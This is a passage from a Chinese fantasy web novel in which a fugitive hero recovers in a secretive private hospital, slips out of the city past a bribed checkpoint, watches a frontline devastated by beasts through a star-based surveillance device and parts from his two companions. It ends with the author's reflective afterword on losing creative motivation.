在神州国境内,天人们掌握着卫星监控、能量追踪、人脉网络等多重手段,想要找到一个人实在太容易了——尤其是像他这样被全城通缉的“要犯”。 “你现在休养的这家医院,是益州境内级别很高的私人医院。”曹珂一边为他调整点滴流速,一边解释道,“平时只有达官显贵、豪门巨贾才有资格入住,普通人连大门都进不来。” 钟灵在一旁补充:“我们虽然放弃了家族的权力和责任,但这么多年积累的关系网络还在。找相熟的人牵线,再加上北斗院的特殊身份背书,搞到这里的入住资格不算难事。” 选择这家医院,核心原因还是安全性。 曹珂走到窗边,撩开厚重的窗帘一角,透过防弹玻璃看向外面的街道:“这家医院的业务范围很广,服务的对象非富即贵,这些人的需求往往很复杂,有些甚至不太合法。” 她顿了顿,语气压低了几分,“比如器官移植的供体来源、特殊能力的临时压制、甚至是一些见不得光的‘修复手术’……这些事大家心知肚明,却没人敢拿到台面上讨论。” 正因为这些“灰色业务”的存在,医院反而形成了一道特殊的“保护屏障”。 钟灵靠在墙上,指尖转着一枚金属徽章:“为了避免巡查队或监管部门‘小题大做’,影响到核心客户的体验,这里几乎没有常规监视器,天人的巡逻队也默认不会在附近过多停留——毕竟谁也不想惹上那些权贵的麻烦,万一查到不该查的东西,反而会引火烧身。” 更关键的是隐私保护。 曹珂拿出一份伪造的病历,上面的姓名、身份、病因都做得天衣无缝:“这家医院对客户信息的保密程度堪称苛刻,不仅数据库独立加密,连医护人员都签了终身保密协议。他们甚至支持用代号或假身份办理入住,只要钱给到位,没人会追问你的真实来历。” 张玉汝看着那份病历,上面“林宇,富商,能量紊乱症”的字样赫然在目,忍不住苦笑:“这么看来,我倒是沾了这些权贵的光。” “不止如此。”钟灵的眼神变得锐利起来,“这家医院还有个最大的优势——它的背后保护伞,是益州本地的天人家族‘赵家’。” 这个消息让张玉汝微微一怔。 “天人内部也不是铁板一块。”曹珂解释道。 “有天人家族掌握大权,也有天人家族分布地方,而赵家就是被排挤到地方上的家族。” “赵家在益州经营多年,和总部派来的‘外来天人’矛盾很深。他们虽然同样想除掉你,但更不想看到总部借着搜捕你的名义,插手益州的地盘。” “所以只要我们不主动暴露,赵家大概率会睁一只眼闭一只眼——毕竟维护医院的‘隐私招牌’,对他们的利益更重要。” 天人间的纷争与矛盾,此刻竟成了他们的护身符。 这听起来荒诞,却道出了现实:即便目标一致,当自身利益可能受损时,所谓的“团结”也会变得脆弱不堪。 “这里虽然安全,但也不能久留。”钟灵收起玩笑的神色,语气凝重。 “赵家的庇护是有底线的,一旦总部施压超过他们的承受范围,我们随时可能暴露。” “而且那两名宗师的死讯迟早会传开,到时候天人的搜查只会更疯狂。” 张玉汝点了点头,心中已有了决断。 他掀开被子,试图坐起身:“我的身体恢复得差不多了,能力的反噬也稳定住了,应该尽快转移。” “别急。”曹珂按住他的肩膀,掌心的绿光再次亮起,“至少再等两天。你的内脏还有轻微出血,能量核心也需要稳固,现在强行行动只会留下隐患。” 她看了一眼钟灵,“我们已经在联系下一个藏身点,是北斗院在益州的秘密据点,比这里更隐蔽。” 张玉汝看着两人有条不紊的安排,心中的焦虑渐渐平息。窗外的阳光透过窗帘缝隙照进来,在地板上投下细长的光斑,如同黑暗中的希望。 这家充满灰色地带的私人医院,只是暂时的庇护所,却足以让他在天人的第一波疯狂搜查中喘口气。 两天的时间似乎一转眼就过去了。 在曹珂精心的治疗与药物滋养下,张玉汝的身体已基本恢复如初——伤口结痂脱落,能量核心重新凝聚,连之前透支的体能都补了回来。 除了原本透支的生命本源之外,张玉汝的状态已经堪称完美。 其实早在一天前,他就已恢复了巅峰状态,但曹珂坚持让他再等一天:“越是这种时候,越不能急。贸然行动反而容易引起天人的注意,多等一天,让他们的搜查锋芒再缓一缓。” 然而这两天里,坏消息却像雪片般不断传来。 “益州西部防线失守了。”钟灵将最新的情报投影在病房的墙壁上,画面里是火光冲天的城镇废墟,“天人原本部署的宗师和大师级能力者,没拦住异兽群。” 张玉汝猛地坐起身,眉头紧锁:“怎么可能?就算不算死在我手里那两个家伙,前线至少还有八名宗师、数十名大师,对付一群异兽绰绰有余才对。” 他亲身经历过兽潮的强度,深知那十名宗师的战力足以形成碾压,怎么会突然失守? “问题出在自然教会。”曹珂调出北斗院的加密文件,脸色凝重,“根据内部消息,自然教会派遣了一批宗师级能力者,藏匿在异兽群中。他们借着兽潮混乱的掩护,找准了前线天人宗师的防御破绽,突然从兽群里发动突袭,当场格杀了三名天人宗师。” “剩下的宗师呢?”张玉汝追问。 “剩下的?”钟灵冷笑一声,语气里满是不屑,“他们见状不妙,立马选择了撤离,把烂摊子丢给了后面的守备部队。” 张玉汝的心沉了下去。 这些高高在上的天人宗师们,平日里享受着特权与尊崇,一旦遇到真正的危险,跑得比谁都快,哪里会管普通士兵的死活? 更糟的消息还在后面。 原本被天人强令“原地驻守”的益州守备部队,在防线失守后被迫急行军赶往前线支援。 可当他们疲惫不堪地抵达战场时,等待他们的不是协同防御的指令,而是异兽早已设好的埋伏。 “守备部队死伤惨重,萧梁武副参谋长失踪,现在连将异兽拦截在平原之外的机会都彻底失去了。” 曹珂的声音里带着压抑不住的愤怒,“那些异兽已经突破了两道城镇防线,正向内陆蔓延。” 事情的发展,竟完全印证了元天成的担忧——面对自然教会的反扑,先导会果然出现了致命的疏漏。 这种疏漏并非能力不足,而是源于内部的自私与溃散,后果却要由无数无辜者来承担。 出了这么大的乱子,天人自然无法再像之前那样封锁消息。 可他们没有反思自身的失误,反而玩起了最卑劣的甩锅把戏。 “听听这个。”钟灵点开一段天人发布的公开通讯,里面传来先导会发言人义正辞严的声音:“经查证,此次防线失守系叛贼张玉汝勾结异兽与自然教会所致。该叛贼先以被追杀为由博取同情,待我军宗师出手救援时突然背刺,引兽群与敌袭突破防线,其心可诛!” 通讯里还配上了“证据”——经过剪辑的卫星画面,将张玉汝与异兽周旋的场景,硬生生拼凑成“引导兽群”的“罪证”。 一时间,整个益州都在流传“张玉汝通敌叛国”的消息,天人甚至悬赏千万,号召民众举报他的踪迹。 听完这段颠倒黑白的通讯,张玉汝自己都忍不住笑了,只是笑声里满是悲凉与嘲讽:“把自己的无能和怯懦,全扣到别人头上,这大概就是他们的精神胜利法吧。” 他想起那些在雪域峡谷中拼死战斗的日子,想到守备部队被迫出击时的愤怒与无奈。 这些人用生命守护的防线,最终却成了天人掩盖失误的垫脚石,而自己这个拼命拖延兽潮的人,反倒成了“通敌的叛贼”。 “自然教会在兽群里藏宗师,天人宗师临阵脱逃,守备部队被当炮灰……这么多问题,最后锅全甩给你一个人。” 钟灵攥紧了拳头,指节发白,“他们就不怕民众不信吗?” “民众没有选择。”曹珂摇了摇头,眼神沉重,“天人掌握着舆论和信息渠道,他们说什么,大部分人只能信什么。更何况,现在异兽已经杀进内陆,民众需要一个发泄愤怒的对象,一个‘罪魁祸首’。” 张玉汝沉默了。 他靠在床头,望着窗外被高楼切割的天空,忽然明白了自己坚持活下去的意义——不仅是为了对抗天人的追杀,更是为了有朝一日,能撕碎这些谎言,让真相暴露在阳光下。 “我们该走了。”张玉汝掀开被子,眼神重新变得锐利,“这里虽然暂时安全,但异兽已经逼近,天人的搜查也会因为‘抓叛贼’的名义变得更加疯狂。北斗院的秘密据点,能撑得住吗?” 钟灵收起通讯器。 “那里比这家医院更隐蔽。” 她看向曹珂,两人眼中闪过一丝默契。 “已经有不少人看穿了天人的把戏,这次异兽入侵和防线失守,让越来越多的人意识到,必须有人站出来做点什么了。” 张玉汝点了点头,起身穿上早已准备好的外套。 两天的休养结束了,新的危机却已迫在眉睫。 他知道,接下来的路会更加艰难——不仅要躲避天人的追杀,还要面对异兽的威胁,更要在谎言与污蔑中,寻找揭露真相、守护更多人的机会。 第 132章 无力 曹珂和钟灵所说的那个北斗院的秘密据点藏在锦官城外围的山区里,距离城区有上百公里的距离。 这本不是一段艰难的路程,但在眼下这个特殊时期,离开这座人口上千万的大城却成了棘手的难题——往常进出城都需要登记身份信息、核验能量波动,更何况如今异兽入侵的警报尚未解除,天人正借着“防止间谍借机生事”的名义严查出入人口。 然而危机中往往藏着生机。 或许是由于西部防线失守的消息传开的缘故,锦官城这几天的车流量比往常翻了好几番,整座城市陷入一种忙碌而混乱的状态。 街道上随处可见挂着“军”字牌照的车辆,里面载着从西部撤回的伤兵,他们缠着绷带、面色疲惫,被匆匆送往城内的医院。 路边挤满了拖家带口的西部灾民,他们背着简陋的行囊,眼神茫然地寻找着临时安置点。 还有不少挂着外地牌照的豪车,显然是富商或高官家属,正赶着在异兽逼近前向内陆转移。 鸣笛声、哭喊声、吆喝声交织在一起,让整座城市的节奏都变得焦躁而混乱。 “这种时候,反而最安全。”钟灵坐在一辆不起眼的黑色轿车里,透过车窗观察着检查站的情况,“你看那些巡查队员,每个人都忙得焦头烂额,根本没有那么多的精力。” 正如她所说,检查站的士兵们显然应付不来这种量级的人流。 他们既要登记车辆信息,又要抽查可疑人员,还要应付那些仗着身份插队的权贵家属,早已是分身乏术。 这样的工作量根本不是原本配置的人员所能够承担的,然而上级却并没有多派人,反倒是希望他们能够一个人当成八个人来用。 正所谓上有政策,下有对策,既然上级不派人也不加薪,那么底层自然没必要执行的那么认真。 他们对于普通商队的车辆,往往只是粗略看一眼通行证便挥手放行,根本没有精力去深究每一个乘客的底细。 张玉汝一行人正是借着这种混乱,混进了一支前往城外山区送货的商队。 这支商队的老板是曹珂通过旧关系联系上的,专门负责为山区的度假村运送物资,常年与检查站打交道,深谙其中的“规则”。 张玉汝换上了一身普通的搬运工装,脸上伪装出几道疤痕,混在商队的伙计中间,从外表看与普通劳工毫无二致。 “等下过检查站时别说话,低着头装累就行了。” 商队老板是个胖乎乎的中年男人,他拍了拍张玉汝的肩膀,压低声音叮嘱,“我已经打点好了,只要你们不主动惹事,没人会注意你们。” 轿车缓缓靠近检查站,张玉汝能看到岗亭里的士兵正对着电脑屏幕打哈欠,旁边还堆着一沓没来得及处理的登记表。 商队老板摇下车窗,递过去一张通行证和一个厚厚的信封,脸上堆着谄媚的笑容:“王队长辛苦啦,这点心意,弟兄们买点水喝。” 那被称为“王队长”的士兵瞥了一眼信封的厚度,眼神瞬间亮了起来,熟练地将信封塞进抽屉,连通行证都没仔细看,便挥了挥手:“去吧去吧,注意安全。” 原本应该进行的身份核验、能量扫描,就这样被金钱的神奇魔力轻松化解。 车队顺利通过检查站,驶离了锦官城的范围,当车轮碾过城外的土路时,车厢里的众人都不约而同地松了口气。 “这就是所谓的‘规则’。”张玉汝看着后视镜里越来越远的城门,语气带着几分感慨。 他本应该看不上这种勾当,可是他现在又偏偏受益于此。 “这世上本就没有绝对的规则,只有绝对的利益。” 曹珂递给他一瓶水,轻声道,“这支商队每年要给检查站上供不少钱,才能保证货物畅通无阻。这次帮我们出城,除了我的人情,老板还额外加了三倍‘护送费’。” 钟灵靠在座椅上,望着窗外飞逝的田野,忽然笑了:“有意思的是,这些钱最终大概率会流进某个天人的口袋。他们一边高喊着‘严查奸细’,一边为了利益给我们放行,这大概就是他们的‘正义’吧。” 轿车在蜿蜒的山路上行驶了近两个小时,最终在一处隐蔽的山谷入口停下。周围林木茂密,若非商队老板指引,根本看不出这里藏着通路。“从这里走进去,翻过两道山梁就是你们要去的地方。” 老板指了指前方被藤蔓覆盖的小路,“我还有其他货要送,就不送你们了。” 谢过商队老板后,三人沿着小路走进山谷。 拨开茂密的藤蔓,后面是一条人工开凿的隧道,隧道壁上镶嵌着散发微光的夜明珠,显然是人为布置的痕迹。 沿着隧道走了约十分钟,尽头隐约有光亮闪烁,还能听到远处传来的人声。 当他们走出隧道时,眼前豁然开朗 —— 一片隐藏在山谷中的建筑群出现在眼前:错落有致的木屋散布在林间,几座现代化的实验室被伪装成仓库的模样,空中悬浮着淡淡的能量屏障,将整个山谷笼罩其中。 这里被布置了北斗院独有的 “隐星阵法”,能屏蔽能量探测与卫星扫描,只有持有北斗院信物或内部人员带领,才能正常进入。 “到了。” 曹珂拿出一枚刻着北斗星图案的玉佩,屏障上立刻浮现出一道入口,“这里是北斗院在西南地区的据点之一,只有在北斗院有着足够贡献点数的人才能够使用。” 抵达北斗院的秘密据点后,张玉汝、曹珂与钟灵终于长出了一口气。 穿过隐星阵法的能量屏障,仿佛隔绝了外界所有的追杀与喧嚣,山谷中草木的清香与安宁的氛围,让连日紧绷的神经终于得以放松。 在天人掌控的地盘上辗转逃亡的日子,每一刻都像踩在刀尖上,实在是太没有安全感了。 然而这份短暂的好心情并没有维持太久。 这座隐藏在山谷中的据点远比想象中更完善:不仅有舒适的居住木屋、储备充足的物资仓库,还有一间专门用于监测前线动态的观测室。 观测室中央摆放着一台造型奇特的设备 —— 主体是一个布满星辰纹路的金属圆盘,圆盘中心镶嵌着一块能投射光影的水晶,周围连接着数台精密的仪器,屏幕上跳动着复杂的数据流。 “这是元老和北斗院的李教授联合研发的众星系统终端。” 曹珂轻抚着金属圆盘上的纹路,语气中带着敬意,“您应该知道,元老身为星辰泰斗,是现在世界上对星辰运转最了解的存在;而李教授是顶尖的天体物理学家,他们联手打造的这套系统,彻底摆脱了对传统卫星的依赖。” 张玉汝凑近观察,发现圆盘上的星辰纹路竟与夜空中的星图一一对应,水晶投射出的微光中仿佛有星河流转。 “普通卫星技术在强烈的能量干扰下,根本无法精准识别人物图像,信息传输更是经常中断,这也是前线通讯困难的主要原因。” 钟灵调出设备的操作界面,解释道,“但众星系统不一样,它依赖的不是太空里的人造卫星,而是真正的天体。元老将自己对星辰的感知能力固化成阵法,再通过现代科技处理信号,让天上的星辰都变成了我们的耳目。” 她顿了顿,指尖划过屏幕:“无论地球上发生什么,只要有星辰的地方,这套系统就能捕捉到能量波动,传递清晰的画面 —— 哪怕是在异兽潮引发的能量乱流中,也能稳定运行。” 在得知据点里有这样的设备后,张玉汝第一时间便提议观测前线的情况。他迫切想知道,在防线失守后,那些撤退的士兵、逃难的民众是否安全,天人是否采取了补救措施。 曹珂操作着仪器,金属圆盘上的星辰纹路依次亮起,水晶中投射出的光影逐渐清晰。当画面稳定下来的那一刻,三人脸上的轻松瞬间褪去,原本不错的心情顿时被沉重的阴霾笼罩。 水晶屏幕上的光影逐渐清晰,没有具体的地名标识,只有一片被战火吞噬的废墟在无声地诉说着灾难。 张玉汝三人屏住呼吸,目光紧紧盯着画面,心脏随着那些破碎的景象一点点下沉。 最先映入眼帘的是一片焦黑的街道。 曾经铺设平整的石板路被炸得粉碎,裂缝中还残留着暗红色的血渍,有些已经干涸成黑褐色,像一道道狰狞的伤疤。 街道两侧的房屋半数坍塌,露出的房梁焦黑扭曲,如同死去巨兽的肋骨。 未完全倒塌的墙壁上布满弹孔与爪痕,原本张贴的标语被撕裂成碎片,混着灰烬贴在墙上,只剩下 “安”“全” 等残缺的字眼,透着讽刺的悲凉。 几只灰褐色的异化乌鸦停在断墙顶端,正低头啄食着什么。镜头拉近,能看到墙根下蜷缩着几具早已僵硬的尸体,身上的衣物被撕成布条,露出的皮肤上布满深可见骨的抓痕。 其中一具尸体还保持着向前爬行的姿势,手指深深抠进泥土里,仿佛在生命最后一刻仍在渴求生机。 不远处的花坛里,几株烧焦的月季还保持着绽放的姿态,花瓣却已变成黑炭,与旁边散落的孩童玩具车形成刺目的对比。 画面切换,镜头转向一片开阔的广场。 这里显然发生过激烈的战斗,地面上布满深浅不一的坑洞,能量爆炸的灼痕将地面烧成了琉璃状。 广场中央的雕塑被拦腰折断,曾经象征和平的天使雕像头颅滚落在地,脸上的微笑被裂痕切割得支离破碎,眼眶空洞地望着天空。 十几个幸存者蜷缩在雕塑残骸后,他们大多衣衫褴褛,身上带着伤口,有的人失去了手臂,有的人脸上缠着渗血的绷带。 一个中年男人正用石块砸向远处靠近的异兽,他的动作迟缓而无力,脸上满是绝望,身后的女人死死抱着哭泣的孩子,用身体挡在前面,却连颤抖的力气都快失去。 几只外形像鬣狗的异兽正围着广场徘徊,它们的皮毛沾满血污,嘴角滴落着涎水,猩红的眼睛死死盯着雕塑后的人群,时不时发出威胁的低吼,却并不急于进攻,像是在享受猎物的恐惧。 突然,画面剧烈晃动了一下,仿佛观测设备受到了冲击。 镜头捕捉到一只巨大的蠕虫状异兽从地下钻出,它的身体覆盖着黏液,张开的口器里满是锋利的牙齿,瞬间将广场边缘的一间木屋吞入腹中。 木屑与砖石飞溅,伴随着一声短促的惨叫,再也没有其他声响。 幸存者们吓得瑟缩成一团,连哭泣声都压抑成了呜咽,只能眼睁睁看着那只巨兽在废墟中穿梭,留下一道道泥泞的痕迹。 屏幕角落弹出一组数据:能量波动异常,生命信号微弱,存活人数预估不足战前的十分之一。 最让人心头发紧的是最后一段画面。 镜头扫过一处临时搭建的避难所,几根歪斜的木棍支起破烂的帆布,下面堆着十几具用草席包裹的尸体,其中几具明显是孩童的大小。 一个穿着白大褂的医生正背对着镜头,用颤抖的手给一个受伤的士兵包扎,他的白大褂早已被血染红,地上散落着用完的止血带和空药瓶。士兵的腿断了,脸色惨白如纸,却死死咬着牙不吭声,只是望着远方硝烟弥漫的天空,眼神空洞得像一口枯井。 没有激烈的厮杀,没有悲壮的反抗,只有一片死寂的废墟、绝望的幸存者和无处不在的死亡气息。这些画面比任何文字描述都更具冲击力,将战争的残酷与无力赤裸裸地展现在眼前。 水晶屏幕的光芒映在三人脸上,照亮了他们紧绷的下颌和泛红的眼眶。 曹珂别过头,指尖紧紧攥着衣角,肩膀微微颤抖;钟灵死死盯着画面中那几个瑟缩的幸存者,指节因为用力而发白;张玉汝的拳头抵在胸口,指甲几乎要嵌进肉里,喉咙里像是堵着什么东西,发不出任何声音。 观测室里静得可怕,只有设备运行的轻微嗡鸣和屏幕上隐约传来的异兽嘶吼。 前线的惨状如同一块巨石,重重压在每个人的心头。那些破碎的房屋、凝固的血迹、绝望的眼神,像无数根细针,密密麻麻地刺在心脏上,让人喘不过气来。 有些时候,言语和文字是苍白无力的。 屏幕上的画面所带来的震撼与刺痛,根本无法用任何词句来形容。战争的残酷、生命的脆弱、人性的挣扎,在这些无声的影像中被无限放大,碾压着每个人的神经。 观测室里陷入了长久的沉默,只有设备运行的嗡鸣在空气中回荡,与屏幕上隐约传来的异兽嘶吼交织在一起,形成一种令人窒息的压抑。 就在这时,原本显示着废墟画面的水晶屏幕突然闪烁了几下,画面如同被干扰的信号般扭曲、破碎,最后彻底消失在一片雪花状的噪点中。 “怎么回事?” 钟灵最先反应过来,伸手去检查设备线路,“是能量干扰吗?” 曹珂也皱起眉头,快速敲击着操作面板:“不对,众星系统的抗干扰能力很强,除非……” 她的话还没说完,屏幕上的噪点突然褪去,一行醒目的红色文字跳了出来 ——“北斗院紧急消息”。 文字下方还有一个闪烁的警示图标,如同急促的心跳,在灰暗的屏幕上格外刺眼。 第 133章 分离 曹珂指尖刚触碰到金属圆盘边缘,她和钟灵的心脏便像被无形的手攥紧,同时猛地一沉。观测室里原本就凝滞的空气,仿佛瞬间被注入了铅块,连呼吸都变得沉重起来。 北斗院的紧急通讯加密等级高得吓人,整个神州国的防御体系里,只有发生足以影响全局走向的重大事件时,才会启用这种红色加密通道。 而现在,正是益州防线全面失守、异兽如同潮水般涌入内陆肆虐的关键节点,每一分每一秒都在吞噬着生命与希望。在这种时候响起的紧急信号,会是什么足以让局势雪上加霜的消息? 曹珂强迫自己冷静下来,深吸一口气,指尖在冰冷的金属圆盘上那些闪烁着微光的星辰纹路上精准按动。 随着她的操作,圆盘上刺眼的红色文字如同潮水般缓缓退去,一段带着强烈电流干扰的加密语音开始在观测室里播放。经过设备的紧急解码,一个急促而沙哑的男声穿透杂音传来,背景里还能清晰听到此起彼伏的爆炸声,夹杂着能量冲击的嗡鸣: “各据点注意,这是紧急通报…… 重复,紧急通报…… 一群不明身份的能力者联合海兽,正在对东部沿海发动突袭…… 敌方宗师级战力数量远超预期…… 东部第三、第五据点防御已彻底失守…… 请求支援,立刻请求支援!重复,请求所有可调动力量紧急支援……” 语音信号断断续续,像是随时会断裂的丝线,电流的滋滋声几乎要盖过人声,但每一个字都像惊雷般炸响在寂静的观测室里,震得人耳膜发颤。 “东部防线?” 张玉汝猛地抬起头,眼中充满了难以置信的震惊,“那边怎么会突然也出现问题了?” 钟灵的脸色在听到消息的瞬间就变得无比凝重,她手指无意识地敲击着桌面,眉头紧锁:“总部远在雪域高原的自然教会,根本不可能在短时间内调集如此多的宗师级战力,更别提联合海兽发动跨海突袭。这绝不是他们的手笔。” 三人对视一眼,都从彼此眼中看到了那个可怕的可能 —— 或许有其他隐藏的势力已经悄然加入了这场混战,而这次益州的乱局,很可能只是对方抛出的诱饵,目的就是为了分散防御力量。 战局,正在朝着所有人都无法掌控的失控方向急速滑落。 曹珂的手指在控制台上来回翻飞,屏幕上数据流飞速滚动,她试图获取更详细的战场信息:“消息来源已确认,是东部前线指挥中心的李教授发出的,信号极其不稳定,从背景音判断,应该是在激战中强行发出的……” 屏幕上突然开始断断续续浮现出零星的画面碎片:布满裂纹的能量屏障如同破碎的玻璃般倒塌,几道宗师级强者的身影在烟尘中闪烁,他们的护身能量光罩正被无数攻击疯狂冲击;漫天飞舞的海兽遮天蔽日,利爪撕裂空气发出尖锐的呼啸;最后一帧画面定格在冲天而起的火光中,伴随着一声剧烈的爆炸,信号彻底中断,屏幕变回冰冷的蓝色雪花。 观测室里的沉默比之前更加沉重,仿佛能压垮人的脊梁。如果说刚才看到的益州前线惨状让他们感到锥心的悲痛,那么这条来自东部的紧急消息,则让他们真切嗅到了弥漫在空气中的更深重的危机。 原本以为只是西部防线的局部失利,只要调集援军还能稳住阵脚。但现在看来,一场足以席卷整个神州国的更大风暴,已经在东西两线同时掀起了滔天巨浪。 然而,坏消息的浪潮并未就此停歇,它如同决堤的洪水般接连不断地涌来。 还没等三人从东部防线失守的震惊中缓过神来,曹珂和钟灵手腕上那枚泛着冷光的北斗院专属通讯手环,突然同时爆发出刺目的红色光芒。 那急促的闪烁频率如同医院急诊室的警报灯,在寂静得能听到呼吸声的观测室里格外刺眼,每一次闪烁都像重锤般敲在人心上。 两女心中同时“咯噔”一下,一股不祥的预感顺着脊椎窜上头顶,几乎是本能地抬手按向手环侧面的激活按钮。 淡蓝色的半透明全息光屏在她们掌心缓缓展开,如同悬浮的冰晶,来自北斗院总部的加密消息正静静悬浮其上。 红色的字体边缘泛着能量波动,每一个字都透着不容置疑的紧迫感,仿佛能感受到消息那头传递来的焦灼。 曹珂指尖在光屏上快速滑动,浏览信息的速度越来越快,原本就紧绷的下颌线绷得更紧,脸色愈发严肃。 她深吸一口气,胸腔起伏着说道:“北斗院下达紧急调令,要求所有在外执行任务的学生立刻终止当前行动,返回学院集合。后续将在学院统一安排下,分批前往前线支援作战。” 话音刚落,她指尖再次轻点光屏角落的刷新键,屏幕上的内容如同潮水般褪去又涌来,新的信息带着更惊人的冲击力跃入眼帘:“刚刚收到的最新战报——除东部沿海之外,东北原始森林防线、南部诸海岛防御阵地全部遭遇突袭。每一处战场的情况都如出一辙:异兽与不明能力者联合作战,攻势密集得如同暴雨,防线损耗速度远超预期。” 这道消息像烧红的重锤般狠狠砸在三人心头,瞬间将他们之前所有的部署击得粉碎。 原本他们已经制定好周密的计划:趁着在益州西部抗击异兽、救援被困民众的间隙,利用战场混乱作为掩护,暗中搜集天人组织在这场灾难中的可疑行动。 他们要查清那些暗地里的阴谋勾当,找到能为张玉汝洗刷冤屈的关键证据,还他一个清白。 可现在,曹珂和钟灵身为北斗院在册学员,面对总部措辞严厉的紧急调令,显然没有任何无视的余地——那不仅意味着违反院规,更可能影响前线战局。 “学院难道完全不考虑西部的情况吗?”钟灵眉头紧蹙成川字,语气里带着难掩的急切与不解,“益州防线刚失守不到半日,西部数百万民众还在异兽爪下挣扎求生,这时候调走这边的支援力量,西部的防线岂不是要彻底崩溃?” 曹珂沉默着点头,指尖在手环上飞快操作,调出通讯界面,决定向学院总部提出疑问。 全息光屏上的信号指示灯如同跳动的火焰闪烁片刻,没过多久,北斗院的回复便穿透数据流传来,冰冷的文字不带丝毫温度,却透着不容置喙的决绝:“西部地区的安全防卫将交由天人组织全权负责。此次益州防线崩溃的烂摊子,本就与他们脱不了干系,自然该由他们承担起收拾残局的责任,这是总部议会的最终决议。” 光屏上的文字如同雪花般消散后,观测室里陷入了短暂的沉默,只有墙上时钟的滴答声在空旷中回荡。 还是张玉汝率先打破了这份沉寂,他抬手揉了揉眉心,脸上挤出一抹释然的笑容:“既然北斗院有明确命令,那你们就立刻动身吧。学院的调令耽误不得,别因为迟到受了责罚,影响了前线支援。” “那你呢?”钟灵急切地追问,目光落在他还缠着绷带的手臂上——那是之前包扎时使用的绷带,。 张玉汝笑了笑,语气轻松却带着坚定:“我自己一个人行动反而更隐蔽些,不用担心暴露踪迹。你们走后,我正好可以潜入防线后方,继续搜集天人组织的证据。” 说是不用担心,可钟灵和曹珂怎么可能真的放下心来? 她们清楚地记得,在赶到这个临时据点之前,张玉汝在孤身斩杀两名天人宗师后,几乎已经是油尽灯枯的状态,若不是及时救治,恐怕会有陨落的风险。 如今他伤势初愈,还要独自面对天人们的压力,危险程度可想而知。 “相信我,没问题的。”张玉汝迎上她们担忧的目光,微笑着开口,声音不高却带着一种令人安心的力量。 语言的力量有时会显得苍白无力,可这一次,张玉汝话语中蕴含的沉稳与坚定,却莫名地让人信服。 或许是他眼中从未动摇的信念,或许是绝境中依旧挺直的脊梁,让两女暂时压下了满心的担忧。 曹珂和钟灵最终还是决定离开。在被张玉汝的坚持说服后,她们没有再过多犹豫——前线的战况不等人,拖延只会造成更多无法挽回的损失。 不过在临走之前,曹珂快速操作着手环,将自己和钟灵在北斗院积攒多年的贡献点数汇总,兑换了这个临时据点的三个月使用权,还额外申请了一批医疗物资和能量补给。 “这里的防御系统我们已经加固过,物资足够支撑一段时间,遇到危险立刻通过加密频道联系我们。”她将一张存储着紧急联络方式的芯片递给张玉汝,语气里满是叮嘱。 钟灵则仔细检查了据点的能量屏障和武器储备,确保所有防御措施都处于最佳状态,才跟着曹珂转身走向出口。 红色的通讯手环依旧在她们腕间闪烁,如同催征的战鼓,指引着她们奔向那片硝烟弥漫的战场。 久别重逢的暖意还未在心底完全沉淀,分别的脚步已匆匆踏来。 这或许就是每个人不得不面对的现实——到了一定年龄,每个人都被命运推上了专属的轨道,肩上扛着无法推卸的责任,脚下走着必须独自前行的路。 就像夜空中短暂交汇的星辰,每个人的人生轨迹能够重合的时光本就转瞬即逝,更多时候是在各自的轨道上孤独运转。 漫长的分离里,那些被岁月冲淡的细节,那些隔着山海的牵挂,似乎都成了常态。 可恰恰是这短暂重逢时的相视一笑,这困境中彼此支撑的温暖,才让人在往后漫长而孤寂的旅途中,有了咬牙走下去的勇气。 “下次再见。”望着曹珂和钟灵快步离去的背影,张玉汝站在观测室的落地窗前,轻轻摆了摆手,声音轻得几乎要被窗外的风声吞没。 他知道这句承诺里藏着多少未知,战场之上刀剑无眼,下一次重逢或许近在咫尺,或许远在天涯。 但是他相信,他们终将再次重逢。 身影消失在视野尽头的瞬间,他眼中的怅然便悄然褪去,取而代之的是一片沉静的坚定。 没有丝毫犹豫,张玉汝转身走向控制台,指尖在冰冷的按键上落下时已恢复了沉稳。 加密频道的数据流在屏幕上飞速滚动,他调出之前搜集到的天人组织行动轨迹,将那些散落的线索一一标记串联;医疗舱里的能量补液还在缓缓注入体内,他却已经开始分析据点周边的异兽活动规律,在地图上圈出适合潜伏侦查的路线。 刚才与同伴并肩时的暖意,此刻都化作了支撑他独行的力量,融在了每一次精准的操作、每一个冷静的判断里。 窗外的天光渐渐暗淡,观测室里只剩下屏幕的冷光映着他专注的侧脸。 属于他的战场,才刚刚开始。 第四卷卷末感言 第四卷的结束看起来有些仓促,实际情况也确实如此。 有时候感觉这种事情就像是婚姻和恋爱一样。 在最初的时候,充满了兴趣和想法,有着仿佛用不完的精力和热情。 可以说是鲜花锦簇、烈火油烹,然而盈不可久。 当故事进行到第四卷,当总体长度达到百万字的规模之后,在没有某些外部条件刺激的情况下,激情和热情便开始逐渐退却。 现实生活的压力无疑分散了一部分精力,但是这些只能说是次要的原因。 最主要的原因还是因为丧失了激情和冲劲,没有了那股勇气,剩下的大概只是打卡式的责任感。 在过去三卷当中,当有读者互动时,我总会去看一看,或者回复,无论评价是好是坏,我都可以乐观的看待。 可是在创作第四卷时,我已经几乎不会去看那些互动的内容了。 或许是因为恐惧,或许是因为别的什么,在丧失了激情和勇气之后,有些事情就不愿意再去面对。 这段时间里,各种主客观的原因使得我多次想要结束这段故事。 我曾经想过,暂时放下,然后之后再捡起来。 但是这不过是自欺欺人,有些事情一旦放下,一旦妥协,那么便很难再捡起来了,这样的事情大部分人或许都不会陌生。 所以我终究还是没有放弃,虽然这也算不上什么了不起的事情就是了。 当然了,就像婚姻一样,创作的过程当中也出现过不少的不良诱惑,就像是七年之痒一样,在对当下的情况产生一定的厌倦时,总会有一些看起来更有吸引力的选择。 例如新的题材,新的创意,脑海当中偶然会产生一些不错的想法,让人很有将其写出来的欲望。 不过这种欲望还是被克制住了,一个人不应该成为欲望的奴隶,这句话并没有高深的内涵,但实际做起来确实是有难度的,至少对于我来说是有难度的。 新奇的想法和念头总会不期而遇,在最初的时候,它们看起来都相当的吸引人,让人心动。 可是如果每次都选择那个看起来更加吸引人的选择,并为此而放弃了自己之前的想法和选择,那么大概算是对于过去的自己的背叛。 而这样不断地更改,更换,大概是怎么也无法走到终点的。 我依旧打算和这个故事一起走到终点,虽然在很多时候不能够把它讲好,虽然很多尝试以失败告终。 它大概不会是一个很好的故事,但是这并非它的问题,而是作为创作者的我的原因。 世界上并不存在完美的人,很多人都会在逐渐长大之后认识到自己的平凡和平庸。 我有一些朋友时常焦虑,焦虑自己一事无成,焦虑自己总是失败。 而她越是焦虑,便越容易着急,一着急就会犯错,由此陷入一个着急犯错,犯错着急的死循环当中。 